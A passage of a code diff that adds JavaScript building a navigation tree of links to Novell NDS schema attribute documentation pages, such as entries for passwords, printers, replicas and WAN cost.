+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:serverVersionNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4644.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NSCP:subtreeACI ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4650.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4656.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Obituary ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4662.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Obituary Notify ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4668.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Object Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4674.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Operator ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4680.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Other GUID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4686.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4692.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Owner ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4698.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Page Description Language ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4704.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("pager ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oojmj.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Control ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4716.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Creation Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4722.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Partition Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4728.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Allow Change ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4734.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Expiration Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4740.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Expiration Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4746.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Management ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4752.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Minimum Length ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4758.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Required ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4764.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Password Unique Required ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4770.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Passwords Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4776.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4782.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Permanent Config Parms ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4788.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Physical Delivery Office Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4794.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4800.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Code ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4806.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postal Office Box ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4812.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Postmaster ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4818.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("preferredDeliveryMethod ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4824.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("presentationAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4830.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Job Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4848.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Print Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4854.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4860.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4872.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Printer Control ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4878.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Private Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4914.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4920.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Profile Membership ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4926.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("protocolInformation ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4932.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Public Key ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4944.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Purge Vector ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4950.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4956.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Queue Directory ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4962.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Received Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4968.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Reference ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4974.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("registeredAddress ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4980.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5010.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Replica Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5016.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Resource ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5028.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5064.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Role Occupant ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5070.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("roomNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5076.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Run Setup Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5082.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5088.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5094.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAP Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5100.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Security DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5106.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("SAS:Service DN ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5112.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchGuide ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5118.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchSizeLimit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5124.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("searchTimeLimit ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5130.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Security Equals ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5136.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Security Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5142.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("See Also ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5148.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Serial Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5154.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5160.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Server Holds ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5166.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Set Password After Create ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5172.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Setup Script ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5178.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5286.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("supportedAlgorithms ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5298.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("supportedApplicationContext ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5304.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Connections ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5310.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Gateway ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5316.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Services ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5322.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Supported Typefaces ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5328.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Surname ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5334.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronization Tolerance ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5358.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Synchronized Up To ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5364.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5370.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Telephone Number ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5376.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("telexNumber ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5382.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("telexTerminalIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5388.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Timezone ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5394.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Title ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5400.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Transitive Vector ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5406.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Trustees Of New Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5412.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Type Creator Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5418.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink(" ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5424.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("uniqueID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5430.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5436.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown Auxiliary Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5442.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Unknown Base Class ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5448.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Used By ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5454.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5460.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5466.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("userPassword ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a6m1fnz.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Uses ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5472.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5478.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5484.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Volume Space Restrictions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5490.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:Cost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5496.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:Default Cost ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5502.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:LAN Area Membership ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5508.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("WANMAN:WAN Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5514.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("x121Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5520.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("x500UniqueIdentifier ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5526.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ if (currentLevel > 1) currentLevel--
+
+ setLevels();
+ var navElement = navigationLink("Novell Attribute Extensions ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3fh5xp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ currentLevel++;
+
+ setLevels();
+ var navElement = navigationLink("audio ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3omwno.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("carLicense ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3on4e7.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Client Install Candidate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk980.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Color Supported ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk992.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Database Dir Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1010.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Database Volume Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1016.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Datapool Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1022.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Datapool Locations ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1028.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
